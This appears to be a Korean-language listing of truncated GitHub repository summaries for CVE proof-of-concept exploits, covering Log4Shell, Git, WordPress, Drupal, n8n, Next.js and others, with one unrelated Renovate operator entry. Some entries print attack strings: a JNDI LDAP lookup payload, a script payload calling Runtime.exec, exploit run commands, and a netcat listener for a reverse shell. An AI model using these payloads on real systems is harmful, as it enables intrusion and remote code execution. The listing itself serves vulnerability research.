log4j2-issue-check

Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 위 요청을...

dinkleberry

Dinkleberry 🫐 당신은 패치가 없는 D-Link NAS 취약점 CVE-2024-3272에 노출된 92,000명 이상의 사용자1 중 하나인가요? 이 도구는 취약한 장치를 패치하기 위해 익스플로잇 자체를 사용합니다. 1: 참조 섹션의 원본 공개를 참조하세요. 기능 Dinkleberry는 취약한 nassharing.cgi 파일을 패치된 버전으로 교체하는 명령을 실행합니다 - NOP로 system 호출을 덮어씁니다. /usr/local/modules 폴더파일이 있는 곳는 읽기 전용이므로, 대신 /usr/local/config...

CVE-2022-33980-POC

CVE-2022-33980 $script:js:java.lang.Runtime.getRuntime.exec"calc"...

CVE-2024-32002

CVE-2024-32002 RCE PoC 개요 이 리포지토리는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 리포지토리의 재귀적 클론을 통해 트리거되는 방법을 보여줍니다. 리포지토리 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 리포지토리를 생성하거나 필요에 따라 이름을 자유롭게 변경하세요: hulk.git submod.git smash.git 이름을 변경하는 경우 PoC 스크립트의 리포지토리 경로를 그에 맞게...

CVE-2021-42362

CVE-2021-42362 WordPress Popular Posts WordPress 플러그인은 /src/Image.php 파일에서 발견된 불충분한 입력 파일 유형 검증으로 인해 임의 파일 업로드에 취약하며, 이로 인해 contributor 수준 이상의 접근 권한을 가진 공격자가 원격 코드 실행을 얻는 데 사용될 수 있는 악성 파일을 업로드할 수 있습니다,...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC CVE-2018-17431에 대한 개념 증명 익스플로잇 제목: Comodo Firewall & Central Manager UTM 2.7.0 및 1.5.0 이전 모든 릴리스의 원격 명령 실행 웹 셸 기반 익스플로잇 작성자: Milad Fadavvi 공급업체 홈페이지: https://www.comodo.com/ 소프트웨어 링크: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 버전: 2.7.0 및...

Blackash-CVE-2025-68613

🚨 CVE-2025-68613 — n8n의 치명적 RCE 취약점 심각도: 🔴 치명적 영향: 원격 코드 실행 영향받는 플랫폼: n8n 워크플로 자동화 🧩 개요 CVE-2025-68613 은 n8n오픈소스 워크플로 자동화 플랫폼의 심각한 보안 취약점 입니다. 이 문제는 인증된 공격자 가 워크플로 표현식이 평가되는 방식을 악용하여 서버에서 임의 코드를 실행 할 수 있게 합니다. 🎯 취약점 세부 정보 유형: 표현식 주입 → 원격 코드 실행 CWE: CWE-913 — 동적으로 관리되는 코드 리소스에 대한 부적절한 제어 공격 벡터: 네트...

CVE-2023-46980

CVE-2023-46980 Best Courier Management System v.1.000의 문제로 인해 원격 공격자가 userID 매개변수에 조작된 스크립트를 전송하여 임의 코드를 실행하고 권한을 상승시킬 수 있습니다. 추가 정보 YT 동영상 POC 링크 ; https://youtu.be/3Mz2lSElg7Y 취약점 유형 부적절한 접근 제어 - 계정 탈취 영향을 받는 구성 요소 사용자 이름 및 비밀번호를 업데이트할 수 있는 사용자 업데이트 양식 공격 벡터 비밀번호 재설정에서 쉽게 얻을 수 있는 사용자 ID가 필요합니다...

CVE-2024-44346

CVE 공개: CVE-2024-44346 날짜: 2024-09-13 요약 Tosibox tbsetup.exe 버전 4.0.0.0에서 로컬 권한 상승을 허용할 수 있는 취약점이 확인되었습니다. 이 문제에는 CVE-2024-44346 식별자가 할당되었습니다. 공급업체는 추가 세부 정보와 수정 절차를 포함한 권고를 발표했습니다. 영향을 받는 제품 공급업체 : Tosibox 제품 : tbsetup.exe 버전 : 4.0.0.0 취약점 설명 Tosibox는 Tosibox Key 설치 프로그램tbsetup.exe 실행 시 임의 코드 실행...

unrealircd3.2.8.1-local-exploit

Metasploitable 3에서 테스트됨 사용법 Ruby 공격자 셸에서 nc -nlvp 1111 피해자 셸에서 ruby exploit.rb 127.0.0.1 공격자 셸에서 예상 출력 listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 피해자 셸에서 python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd -li -lp 공격자 셸에서 nc -nlvp 1111...

CVE-2024-10930

CVE 공개: CVE-2024-10930 CVE-2024-10930 공개 날짜: 12-02-2025 요약 Carrier 제품 E20-BLK416X.EXE 버전 4.16에서 로컬 권한 상승을 허용할 수 있는 취약점이 확인되었습니다. 이 문제에는 CVE-2024-10930 식별자가 할당되었습니다. 공급업체는 추가 세부 정보와 해결 절차가 포함된 권고를 발표할 예정입니다. 영향을 받는 제품 공급업체 : Carrier 제품 : E20-BLK416X.EXE 버전 : 4.16 업데이트 버전 : 4.2 취약점 설명 Carrier는 Bloc...

CVE-2022-42092

CVE-2022-42092 파이썬 익스플로잇 🔥 설명 이 파이썬 익스플로잇 스크립트는 Backdrop CMS의 제한 없는 파일 업로드를 대상으로 원격 코드 실행RCE을 달성합니다. ⚠️ 영향을 받는 버전 버전 1.22.0 및 이전 버전 참고: Backdrop CMS는 이에 대해 이의를 제기하며 고급 권한이 필요하다고 주장하므로, 1.22.0 이상의 버전에도 여전히 존재할 수 있습니다. 제 추측으로는 먼저 관리자 액세스 권한이 있어야 한다는 의미일 것입니다. 그래도 이는 유효한 취약점이며, 전체 시스템 제어를 획득하기 위해 확실히...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 인증된 원격 코드 실행 Subrion CMS 4.2.1의 /panel/uploads는 .htaccess 파일이 이러한 파일을 포함하지 않으므로 원격 공격자가 .pht 또는 .phar 파일을 통해 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 사용법 명령어: Windows/Linux: $ sudo python3 subrionRCE.py -u http://IP/panel/ -l -p 참고 자료:...

renovate-operator

Renovate: Kubernetes 네이티브 방식 자체 인프라에서 Renovate를 CRD 기반 스케줄링, 병렬 실행, 자동 발견, 내장 UI와 함께 실행하세요. Renovate를 자체 호스팅하고 이미 Kubernetes를 운영 중이라면, 이 operator는 일반적인 자체 호스팅 설정에서는 얻을 수 없는 제어와 관측성을 제공합니다. 모든 Renovate 플랫폼 지원: GitHub, GitLab, Bitbucket, Azure DevOps, Gitea 등. 이 operator는 Renovate가 지원하는 모든 플랫폼에서...

CVE-2011-0762

CVE-2011-0762 Exploit FTP 서버의 CVE-2011-0762 취약점을 위한 C 언어 익스플로잇으로, 악성 페이로드가 포함된 STAT 명령을 전송하여 잠재적인 오류나 원치 않는 코드 실행을 유발할 수 있습니다. 설명 이 익스플로잇은 FTP 서버에 연결하여 제공된 사용자 이름과 비밀번호로 인증합니다또는 기본 익명 자격 증명을 사용합니다. 로그인 후, 취약점을 악용하기 위해 특별히 구성된 페이로드가 포함된 STAT 명령을 전송합니다. STAT 명령에는 중첩된 중괄호 구조가 포함되어 있어 취약한 FTP 서버에서 메모...

CVE-2024-32002

CVE-2024-32002 RCE PoC 개요 이 저장소는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 저장소의 재귀적 클론을 통해 트리거될 수 있는 방법을 보여줍니다. 저장소 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 저장소를 생성하거나 필요에 따라 이름을 변경하십시오: hulk.git submod.git smash.git 이름을 변경한 경우 PoC 스크립트의 저장소 경로도 그에 맞게 업데이트하십시오. 익스플...

CVE-2019-6340

Drupal Drupal 8.6.x RCE 익스플로잇 익스플로잇 CVE: CVE-2019-6340 CMS: Drupal CMS 버전: Drupal 8.6.x 테스트 완료 조건: Drupal 8.6.x, 8.6.10 또는 Drupal 8.5.11 RESTful Web Services 모듈이 활성화되어 있어야 함...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection --port --ip --notification 6. 크레딧 이 수정된 버전의 익스플로잇은 Zach Crosmanzcrosman이 EDB-ID: 52027로 게시한 원본 익스플로잇을 기반으로 합니다. 원본 익스플로잇은 여기에서 확인할 수 있습니다. 보안 커뮤니티에 기여한 Zach Crosman에게 감사드립니다...

PoC_CVE-2025-55182

Next.js React2Shell CVE-2025-55182 익스플로잇 도구 승인된 로컬 테스트 환경에서만 중요 React2Shell 취약점CVE-2025-55182 / CVE-2025-66478을 시연하기 위한 개념 증명PoC 도구입니다. ⚠️ 중요 경고: 활발한 악용 진행 중 이 취약점CVSS 10.0은 정교한 위협 행위자들에 의해 활발히 악용되고 있습니다. Amazon Threat Intelligence에 따르면 Earth Lamia와 Jackpot Panda를 포함한 다수의 중국 연계China-nexus 국가 후원 그룹...